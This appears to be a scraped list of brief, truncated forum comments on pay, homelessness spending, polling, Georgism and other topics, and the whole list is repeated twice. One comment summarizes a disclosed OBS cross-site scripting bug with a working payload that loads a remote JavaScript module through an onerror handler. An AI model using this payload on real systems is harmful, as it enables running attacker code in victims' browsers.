Why would it be any more successful than the privately-owned dating apps?
Ah, my numbers were pretax. I agree investing has better tax treatment (close to zero if you "buy, borrow, die"!)
The crypto-theft angle seems more typical of China/NK/Russia to me. (China has some history of hardware supply-chain attacks). But without evidence we're simply speculating.
The article is light on concrete policy suggestions. One possibility is "adjust the minimum wage for inflation," but they seem to be against this: https://www.google.com/search?client=firefox-b-1-d&q=the+eco...
> 200k is very high L4 at Google, medium L5, not out of the question for L6, and 300k is definitely L6 level In my experience, those numbers are low for the US. This is about accurate:…
Indeed, it seems quite difficult for this methodology to control for "nuclear plants are near other nasty industrial things": > While a broad set of confounding factors with distant relationship to cancer are included…
> Over the last several months, we have replicated the results of these papers. The authors supplied us with eight lines of code and answered a couple of questions about the covariates, which did not replicate the…
tldr: XSS on OBS via the message !image http://toto.jpg/x'onerror=import('https://ha10.scrt.ch:8080/poc-module.js');a='a
> Let me help you: work on figuring out how to spend the millions of dollars every year Jane Street will pay you to clock in. Does Jane Street really pay that much? Of course 7 figures is possible, but these median…
> I want something a little more significant than "we asked around the newsroom, and 35% of fox news reporters approve of the current administration". Cool, thanks, but that's not helpful or even a useful datapoint. The…
The state of the art is far more rigorous than you presume. Most reputable pollsters that explain their selection criteria and sample size, eg: https://poll.qu.edu/methodology/ ,…
> Why is this one in particular different? The article answers this: For one, the 'papers' are entirely AI-generated.
Indeed, pg has an essay about it: https://paulgraham.com/selfindulgence.html
As touched on in the article: The data's not IID, and there hasn't been very much "time" to generalize across.
Safely aligning a powerful CEO is difficult.
Yes, the quote was "Ads plus AI is sort of uniquely unsettling to me. I kind of think of ads as a last resort for us for a business model." (Sam Altman, Harvard 2024)
I agree, the conjecture never says anything about a proper map.
No, housing those people is only half the budget, so it's like $25k/person. It's unlikely there's a trivial arbitrage to eliminate homelessness in a city full of engineers.
Not likely: SF has ~7,973 homeless people now, and current spending provides housing for 14,498 "previously homeless" people: https://media.api.sf.gov/documents/Agenda_Item_9_HSH_Budget_... Thus, cutting all budget for…
This is a fallacy because it's not the same people homeless each year. There's substantial turnover in the homeless population. "Replace services with direct transfers" would eliminate homelessness for 1 year. Then new…
Here's what I see on desktop: https://i.imgur.com/vuA2Y3w.png Is this an artifact of dynamic resizing at small resolutions?
> Rent seeking, *according to the Georgist* Only Georgists believe that. And it's the rent of the "bare land", not including the housing constructed on it.
Seems the actual article is here? https://www.texasmonthly.com/news-politics/tesla-autopilot-c...
[flagged]
You can compare modeled heat deaths across different countries, Western Europe is still significantly higher. Eg Figure 3C in https://pmc.ncbi.nlm.nih.gov/articles/PMC7618246/ It doesn't affect life expectancy much,…
Why would it be any more successful than the privately-owned dating apps?
Ah, my numbers were pretax. I agree investing has better tax treatment (close to zero if you "buy, borrow, die"!)
The crypto-theft angle seems more typical of China/NK/Russia to me. (China has some history of hardware supply-chain attacks). But without evidence we're simply speculating.
The article is light on concrete policy suggestions. One possibility is "adjust the minimum wage for inflation," but they seem to be against this: https://www.google.com/search?client=firefox-b-1-d&q=the+eco...
> 200k is very high L4 at Google, medium L5, not out of the question for L6, and 300k is definitely L6 level In my experience, those numbers are low for the US. This is about accurate:…
Indeed, it seems quite difficult for this methodology to control for "nuclear plants are near other nasty industrial things": > While a broad set of confounding factors with distant relationship to cancer are included…
> Over the last several months, we have replicated the results of these papers. The authors supplied us with eight lines of code and answered a couple of questions about the covariates, which did not replicate the…
tldr: XSS on OBS via the message !image http://toto.jpg/x'onerror=import('https://ha10.scrt.ch:8080/poc-module.js');a='a
> Let me help you: work on figuring out how to spend the millions of dollars every year Jane Street will pay you to clock in. Does Jane Street really pay that much? Of course 7 figures is possible, but these median…
> I want something a little more significant than "we asked around the newsroom, and 35% of fox news reporters approve of the current administration". Cool, thanks, but that's not helpful or even a useful datapoint. The…
The state of the art is far more rigorous than you presume. Most reputable pollsters that explain their selection criteria and sample size, eg: https://poll.qu.edu/methodology/ ,…
> Why is this one in particular different? The article answers this: For one, the 'papers' are entirely AI-generated.
Indeed, pg has an essay about it: https://paulgraham.com/selfindulgence.html
As touched on in the article: The data's not IID, and there hasn't been very much "time" to generalize across.
Safely aligning a powerful CEO is difficult.
Yes, the quote was "Ads plus AI is sort of uniquely unsettling to me. I kind of think of ads as a last resort for us for a business model." (Sam Altman, Harvard 2024)
I agree, the conjecture never says anything about a proper map.
No, housing those people is only half the budget, so it's like $25k/person. It's unlikely there's a trivial arbitrage to eliminate homelessness in a city full of engineers.
Not likely: SF has ~7,973 homeless people now, and current spending provides housing for 14,498 "previously homeless" people: https://media.api.sf.gov/documents/Agenda_Item_9_HSH_Budget_... Thus, cutting all budget for…
This is a fallacy because it's not the same people homeless each year. There's substantial turnover in the homeless population. "Replace services with direct transfers" would eliminate homelessness for 1 year. Then new…
Here's what I see on desktop: https://i.imgur.com/vuA2Y3w.png Is this an artifact of dynamic resizing at small resolutions?
> Rent seeking, *according to the Georgist* Only Georgists believe that. And it's the rent of the "bare land", not including the housing constructed on it.
Seems the actual article is here? https://www.texasmonthly.com/news-politics/tesla-autopilot-c...
[flagged]
You can compare modeled heat deaths across different countries, Western Europe is still significantly higher. Eg Figure 3C in https://pmc.ncbi.nlm.nih.gov/articles/PMC7618246/ It doesn't affect life expectancy much,…